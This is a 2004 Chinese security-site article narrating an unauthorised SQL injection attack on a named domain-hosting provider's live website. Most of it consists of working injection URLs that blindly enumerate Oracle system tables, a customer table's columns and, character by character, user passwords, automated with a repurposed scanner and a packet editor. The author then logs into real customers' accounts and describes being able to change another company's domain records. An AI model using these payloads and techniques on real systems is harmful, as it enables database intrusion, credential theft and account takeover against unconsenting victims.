执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 入侵攻击 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
教你如何防范局域网的病毒传播
记一次对永联网的简单渗透
动网的新灾难-插件漏洞
万网的尴尬-万网ORACLE注入漏洞曝光
作者:佚名 来源:安全在线 更新时间:2004-10-28 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

阅读提示:

        前段时间,手上的项目做完以后,闲着无事,便在网上到处逛逛。看见群里的朋友聊天说自己的什么什么站什么什么论坛开张了。欢迎大家去玩去下载东东,还是.com,.com.cn的域名,很是羡慕啊。虾米时候我才能有自己的主机和顶级域名呢……幻想流口水中……。想到申请主机和域名,自然就想到了中国万网(在中国太有名嘛^_^)。去那里看看吧,看看到底要多少米。顺手就打开了万网的主页。哇咔,一台标准的ASP.NET主机一年要1600大元……一个域名要200。刚想算了,又看到了主页右上角的会员登陆界面,平时做安全的习惯让我“贼”心又起。呵呵,那就来看看能不能发现什么漏洞,弄个会员就好拉,反正现在也没什么事做。
随便在网站内转了转,在关于万网里看到:万网(www.net.cn)是中国最大的域名和网站托管服务提供商。是中国互联网服务行业的旗舰。号称拥有10多年Unix经验的系统工程师、CISCO路由器专家、Orcale数据库专家 、微软MCSE认证工程师、Java/ASP/Perl/C编程高手和网络安全专家。咳咳……汗。这种大网站服务器的安全措施恐怕不知道做了N条。说不定做了映射,加了N高级的IDS和FW,说不定还做了蜜罐等着呢,补丁肯定素早打全了。拿出端口扫描的工具扫了一下……郁闷了……。看来直接从服务器入侵是没什么希望了……
继续转了转,发现了一个情况,嘿嘿,万网的站点使用ASP写的。要知道,前段时间ASP+MSSQL的注入可是闹的沸沸扬扬,不少站点都吃了苦头。万网这种大网站,会有这种问题吗?不管了,先试一试再说。找了个链接:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341
这是个购买虚拟主机的页面,先用经典的and 1=1 and 1=2方法来测试了一下。我晕~全部都是返回类型不匹配: 'CDbl'错误。唉,难道真的是不行了吗?还是不甘心,再来看一看用的什么数据库吧。在参数后面加上一个单引号,提交,页面返回错误:
OraOLEDB 错误 '80004005'
ORA-01756: 括号内的字符串没有正确结束
/HAS_Client/buy/vir_host/vir_host1_SB.asp,行285
哈哈,原来用的是ORACLE。难怪。而一般用ORACLE数据库出现这样的返回错误,都是可能存在问题的。这和MSSQL出现什么未闭合的引号的返回错误差不多,不过MSSQL出现那样的错误提示我们就几乎可以肯定存在注入漏洞了,而ORACLE则要再进一步确定一下。

一下子来了精神,继续做进一步的判定。注意,以下几步的判定是我们后面的入侵的基础,非常重要。
  我们再分别提交:
"> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341'and%200<>(select%20count(*)%20from%20all_tables)%20and%20'1'='1
"> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341'and%200<>(select%20count(*)%20from%20user_tables)%20and%20'1'='1
"> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns)%20and%20'1'='1
这几个是看看有没有有没有我们猜测的ORACLE的系统表all_tables,user_tables和user_tab_columns。我们以后的渗透都要靠这几个系统表才能完成。如果没有,就没的玩拉。

页面全都成功返回了,说明存在猜测的系统表,同时也说明我们提交的SQL语句,程序做了处理。到此,也确认了这个页面确实存在SQL注入漏洞。YEAH!
  在给万网发了N封邮件无反应后,我开始了进一步的渗透。
  下面,我们就开始正式的注入。当然,如果上面猜测系统表的页面不能正常返回的话……那多半是不能成功了。^_^
  首先我们来整理一下思路。数据库中最关键的就是用户的帐号信息,而最最关键的就是用户的用户名和密码。我们首要的目标就是这个。那怎么在ORACLE数据库中定位这个信息呢。我们来这样做,user_tab_columns这个系统表里存放了所有的用户表的列名。我们就从这里下手。提交:
"> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341'and%200<> (select%20count(*)%20from%20user_tab_columns%20where%20colum n_name%20like%20'%25PASSWORD%25')%20AND%20'1'='1
这里的意思是查询user_tab_columns表里有没有包含PASSWORD字串的列名。

页面正确返回,哈哈,说明有列名是包含PASSWORD字串的。
我们也可以测试PWD,ADMIN,PASS等等敏感的字段。这里我们就从PASSWORD这个下手。知道了有包含PASSWORD字串的列名。那我们怎么来知道是什么表包含了这个列名呢?我们这样做,提交
"> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341'and%200<> (select%20count(*)%20from%20user_tab_columns%20where%20colum n_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1 ,1)='A')%20AND%20'1'='1
这里的意思是查看数据库中以A开头的表中有没有列名是包含PASSWORD字段的。如果有的话页面就会正确返回。否则就会报错:
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'CDbl'
/HAS_Client/include/vh_getproperty.asp,行46
如图:

可是这样一个个试实在是……太累……26个字母呢……。这里我利用了NBSI的后台管理地址扫描功能来进行自动检测。我们这样做:
  NBSI的后台管理地址扫描的地址是由Dict_Admin.txt这个文件来控制的。我们就把文件的内容换成:
vir_host1_SB.asp?PackageID=10341'and%200<> (select%20count(*)%20from%20user_tab_columns%20where%20colum n_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1 ,1)='A')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20user_tab_columns%20where%20column_name%20lik e%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='B')%20A ND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20user_tab_columns%20where%20column_name%20lik e%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='C')%20A ND%20'1'='1



然后我们在程序中扫描地址中填上http://www.net.cn/HAS_Client/buy/vir_host。点开始扫描。NBSI就开始帮我们一个个去GET设定的地址了。这里有一个问题,就是500错误NBSI也会显示在下面的结果栏里,而我们只要它显示返回200 OK的地址。怎么办呢?我们拿出我们的WPE PRO。WPE PRO是一个实时截获修改数据包的工具。我们用它把返回的500错误改成404页面不存在。那NBSI就不会在下面显示这个500错误的地址了。WPE的具体用法我这里就不详细说了,网上有教程的。给出个截图。

这样,可以使我们猜测的效率大大的提高。后面的大规模的猜测也是这样。
通过猜测,我们得到了有以C,D,H,M,S,V开头的表中包含了敏感字段。一个个来看吧。累哦:)
先来看C。数据库中以C开头的数据表可能有很多,到底哪个是我们所需要的那个呢。我们继续来猜测第二位。把Dict_Admin.txt(以下简称ADMIN)文件的内容用全部替换功能换成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20user_tab_columns%20where%20column_name%20lik e%20'%25PASSWORD%25'%20and%20substr(table_name,1,2)='CA')%20 AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20user_tab_columns%20where%20column_name%20lik e%20'%25PASSWORD%25'%20and%20substr(table_name,1,2)='CB')%20 AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20user_tab_columns%20where%20column_name%20lik e%20'%25PASSWORD%25'%20and%20substr(table_name,1,2)='CC')%20 AND%20'1'='1



再次进行检测。OK,得到我们所需要的那个表的前两个字符是CU。然后再检测第三位。。。如此循环。最后得到包含有敏感列名的以C开头的表明为CUSTOMERMST。看到了CUSTOMER……嘿嘿,有戏哦。当然,猜到五个字符左右的时候,你可以提交
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341'and 0<>(select count(*) from user_tables where table_name like '%25XXXXX%25' and length(table_name)=N) and '1'='1
来确定猜测的表名的长度是多少。这样更准确快捷一些。
猜完了表名,可以提交:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341'and 0<>(select count(*) from user_tables where table_name= 'CUSTOMERMST') and '1'='1
来确认一下。页面正确返回就OK了。:)
继续继续。到现在,我们还不知道具体的列名。下面我们就着手开始猜测CUSTOMERMST表的列名。由于ORACLE没有象MSSQL那样“砰”的一声直接暴字段的功能,所以我们只能去慢慢猜,累啊。。。幸亏个自制的NBSI+WPE的土检测器。。。*_*。闲话少说,下面来猜测列名,将ADMIN文件的内容改成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20user_tab_columns%20where%20table_name='CUSTO MERMST'%20and%20substr(column_name,1,1)='A')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20user_tab_columns%20where%20table_name='CUSTO MERMST'%20and%20substr(column_name,1,1)='B')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20user_tab_columns%20where%20table_name='CUSTO MERMST'%20and%20substr(column_name,1,1)='C')%20AND%20'1'='1



这里的意思是通过猜测来看看在CUSTOMERMST表中存在哪些字母开头的列名。页面正确返回,也就是返回200 OK,那就是存在。

通过检测,知道存在以A,B,C,E,F,G,I,L,M,O,P,R,S,U开头的列名。我晕,这么多。。。没办法,慢慢来吧。先来看A开头的:
这里的方法和上面猜测表名的方法差不多,将ADMIN文件的内容改为:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20user_tab_columns%20where%20table_name='CUSTO MERMST'%20and%20substr(column_name,1,2)='AA')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20user_tab_columns%20where%20table_name='CUSTO MERMST'%20and%20substr(column_name,1,2)='AB')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20user_tab_columns%20where%20table_name='CUSTO MERMST'%20and%20substr(column_name,1,2)='AC')%20AND%20'1'='1



OK,得到前两位是AR,继续。。。最后得到列名为AREAID。这里需要注意一点的是,在一位位检测的时候,可能出来多个结果,就说明有多个列名。比如检测以B开头的第二位的时候,BI和BU都返回200 OK,那么就说明有以BI,BU开头的列名,下面要分别去猜。以此类推,最后我们得到了CUSTOMERMST表的所有列名(擦一下汗……):
AREAID
BIRTHDAY
BIZID
BUSINESSSTATUS
CHANNEL_STAFFID
CITYID
CONTACT
COUNTRY
CUSTOMERID
CUSTOMERINDUSTRY
CUSTOMERORIGINTYPE
EMAIL
EMAILBACKUP



PASSWORD



USERID


看名字,就知道CUSTOMERID,PASSWORD和USERID这三个字段是最重要的。

万网在登陆的时候是用一个数字ID和密码登陆的。那么这两个ID到底哪个才是用来登陆的ID呢?我们这样来做。到万网首页登陆框那里,用通过用户名查数字ID的方法查个ID过来。恩。。。用什么用户的名字呢?我们可是对数据的类型一无所知啊。在首页上转了转,发现底部有个万网新客户推荐栏目。仔细看了一下,有个房地产门户-搜房网http://www.soufun.com/ 恩,就用soufun这个名字好了~^_^

OK,得到soufun用户的ID是10529112。下面我们就来确定哪个字段才是ID字段。提交:
"> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341'and%200<> (select%20count(*)%20from%20CUSTOMERMST%20where%20CUSTOMERID ='10529112')%20and%20'1'='1
哇靠,页面没有正确返回,返回了错误。看来不是这个字段。再提交:
"> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?P ackageID=10341'and%200<> (select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10 529112')%20and%20'1'='1
OK,嘿嘿,这次页面正确返回了。看来USERID字段是放用户登陆ID的。同样方法,检测出CUSTOMERID字段是放用户名的。
字段属性知道了,下面开始猜密码了,还是用这个admin用户。当然,还是要一位位的猜。终于可以猜密码了,嘿嘿。不累了。将ADMIN文件内容改成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20an d%20substr(PASSWORD,1,1)='a')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20an d%20substr(PASSWORD,1,1)='b')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20an d%20substr(PASSWORD,1,1)='c')%20AND%20'1'='1



vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20an d%20substr(PASSWORD,1,1)='0')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20an d%20substr(PASSWORD,1,1)='1')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20co unt(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20an d%20substr(PASSWORD,1,1)='2')%20AND%20'1'='1



这里要加上是个阿拉伯数字,密码一般是字母加数字嘛:)。上面就是猜ID为10529112的用户的密码的第一位。几秒过后,密码第一位出来了,是n。继续猜第二位,方法和上面猜表名,列名的方法一样,唯一不同的就是这里不会出现多个结果了。最后得到ID是10529112的用户的密码是n****。我晕,密码竟然不加密。。。数据库和安全专家呢。。。?
猜出了密码,恩,来登陆一下SEESEE,嘿嘿。


哈哈,登陆OK!。。。可用金额竟然素-130元……,晕!还能透支的?欺骗偶滴感情T_T。不怕!找到存钱的字段,UPDATE!嘿嘿……可惜我试了N次都不知道该怎么正确的执行update和insert,5555555。哪位高手有好的方法,大家交流一下:)
  当然,登陆进去以后就有了这个帐户的一切权利。先来看看已付款产品管理。……什么东东都没有,晕!再来看看这个用户的财务信息:

恩……打开最近的一笔交易。发现是转了130大元到了10144167。难道10144167这个帐号才素有钱人?:P
  马上破解出10144167的密码u******,登陆进去。哈哈,原来是域名分销联盟伙伴,有钱人~余额329^_^.再打开已付款产品管理,再哈哈,这么多域名啊~:P

打开页面底部的域名解析综合服务,HOHO找到了中文通用域名注册-搜房网.中国。点击,就来到了搜房网.中国的域名解析服务页面,这里我们可以随意更改搜房网

[1] [2] 下一页

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号